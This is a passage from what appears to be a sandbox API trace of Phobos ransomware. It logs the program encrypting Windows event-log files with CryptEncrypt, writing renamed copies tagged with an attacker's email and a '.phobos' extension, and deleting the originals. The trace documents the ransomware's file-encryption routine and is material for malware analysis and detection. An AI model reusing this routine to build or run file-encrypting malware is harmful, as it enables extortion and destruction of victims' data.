pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.748] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0056.807] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=395226) returned 1 [0056.807] CloseHandle (hObject=0x334) returned 1 [0056.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0056.808] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0056.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\bootmgr.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.808] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.808] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x27) returned 0 [0056.808] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.808] CreateFileW (lpFileName="\\\\?\\C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.808] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.808] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.888] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0056.888] CloseHandle (hObject=0x304) returned 1 [0056.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 0x20 [0056.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Application.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\application.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.888] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.888] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0056.888] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0056.888] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Application.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\application.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0056.888] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dcb90) returned 1 [0056.888] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0056.888] ReadFile (in: hFile=0x304, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0056.901] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0056.901] WriteFile (in: hFile=0x300, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0056.903] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dcb10) returned 1 [0056.903] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0056.903] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50, dwBufLen=0x50 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50) returned 1 [0056.903] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0056.903] WriteFile (in: hFile=0x300, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x102, lpOverlapped=0x0) returned 1 [0056.903] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0056.903] CloseHandle (hObject=0x304) returned 1 [0056.903] CloseHandle (hObject=0x300) returned 1 [0056.905] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 1 [0056.906] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.906] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0056.906] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0056.906] CloseHandle (hObject=0x300) returned 1 [0056.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 0x20 [0056.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Key Management Service.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\key management service.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.906] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0056.906] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0056.907] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0056.907] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Key Management Service.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\key management service.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0056.918] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dccd0) returned 1 [0056.918] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0056.918] ReadFile (in: hFile=0x300, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0056.964] CryptEncrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0056.964] WriteFile (in: hFile=0x328, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0056.966] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc810) returned 1 [0056.966] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0056.966] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x60, dwBufLen=0x60 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x60) returned 1 [0056.966] CryptDestroyKey (hKey=0x10dc810) returned 1 [0056.966] WriteFile (in: hFile=0x328, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x112, lpOverlapped=0x0) returned 1 [0056.966] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0056.966] CloseHandle (hObject=0x300) returned 1 [0056.966] CloseHandle (hObject=0x328) returned 1 [0056.968] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 1 [0056.977] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.977] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0057.153] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=1052672) returned 1 [0057.153] CloseHandle (hObject=0x334) returned 1 [0057.154] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 0x20 [0057.154] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.154] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0057.154] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0057.154] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0057.154] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0057.156] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc790) returned 1 [0057.156] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0057.156] ReadFile (in: hFile=0x334, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x101000, lpOverlapped=0x0) returned 1 [0057.188] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x101010, dwBufLen=0x101010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x101010) returned 1 [0057.190] WriteFile (in: hFile=0x31c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x101010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x101010, lpOverlapped=0x0) returned 1 [0057.206] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc910) returned 1 [0057.206] CryptSetKeyParam (hKey=0x10dc910, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0057.206] CryptEncrypt (in: hKey=0x10dc910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0xb0, dwBufLen=0xb0 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0xb0) returned 1 [0057.206] CryptDestroyKey (hKey=0x10dc910) returned 1 [0057.206] WriteFile (in: hFile=0x31c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x162, lpOverlapped=0x0) returned 1 [0057.206] CryptDestroyKey (hKey=0x10dc790) returned 1 [0057.206] CloseHandle (hObject=0x334) returned 1 [0057.206] CloseHandle (hObject=0x31c) returned 1 [0057.437] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 1 [0057.473] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0057.473] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0057.473] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0057.473] CloseHandle (hObject=0x31c) returned 1 [0057.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 0x20 [0057.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.473] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0057.473] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0057.473] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0057.473] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0057.474] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc8d0) returned 1 [0057.474] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0057.474] ReadFile (in: hFile=0x31c, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0057.520] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0057.520] WriteFile (in: hFile=0x32c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0057.522] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dcad0) returned 1 [0057.522] CryptSetKeyParam (hKey=0x10dcad0, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0057.522] CryptEncrypt (in: hKey=0x10dcad0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x80, dwBufLen=0x80 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x80) returned 1 [0057.522] CryptDestroyKey (hKey=0x10dcad0) returned 1 [0057.522] WriteFile (in: hFile=0x32c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x132, lpOverlapped=0x0) returned 1 [0057.522] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0057.522] CloseHandle (hObject=0x31c) returned 1 [0057.522] CloseHandle (hObject=0x32c) returned 1 [0057.524] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 1 [0057.526] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0057.526] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0057.526] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0057.526] CloseHandle (hObject=0x32c) returned 1 [0057.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 0x20 [0057.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.526] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0057.526] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0057.527] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0057.527] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0057.527] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc690) returned 1 [0057.527] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0057.527] ReadFile (in: hFile=0x32c, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0057.688] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0057.688] WriteFile (in: hFile=0x31c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0057.690] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc790) returned 1 [0057.690] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0057.690] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x90, dwBufLen=0x90 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x90) returned 1 [0057.690] CryptDestroyKey (hKey=0x10dc790) returned 1 [0057.690] WriteFile (in: hFile=0x31c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x142, lpOverlapped=0x0) returned 1 [0057.690] CryptDestroyKey (hKey=0x10dc690) returned 1 [0057.690] CloseHandle (hObject=0x32c) returned 1 [0057.690] CloseHandle (hObject=0x31c) returned 1 [0057.691] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 1 [0057.693] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0057.693] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0057.693] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=2166784) returned 1 [0057.693] CloseHandle (hObject=0x31c) returned 1 [0057.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx")) returned 0x20 [0057.693] MoveFileW (lpExistingFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), lpNewFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 1 [0057.694] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0057.694] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6a8 | out: lpNewFilePointer=0x0) returned 1 [0057.694] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6a8 | out: lpNewFilePointer=0x0) returned 1 [0057.694] ReadFile (in: hFile=0x31c, lpBuffer=0x38f8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x352f6b4, lpOverlapped=0x0 | out: lpBuffer=0x38f8058*, lpNumberOfBytesRead=0x352f6b4*=0x40000, lpOverlapped=0x0) returned 1 [0057.721] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x352f6a8 | out: lpNewFilePointer=0x0) returned 1 [0057.721] ReadFile (in: hFile=0x31c, lpBuffer=0x3938058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x352f6b4, lpOverlapped=0x0 | out: lpBuffer=0x3938058*, lpNumberOfBytesRead=0x352f6b4*=0x40000, lpOverlapped=0x0) returned 1 [0057.790] 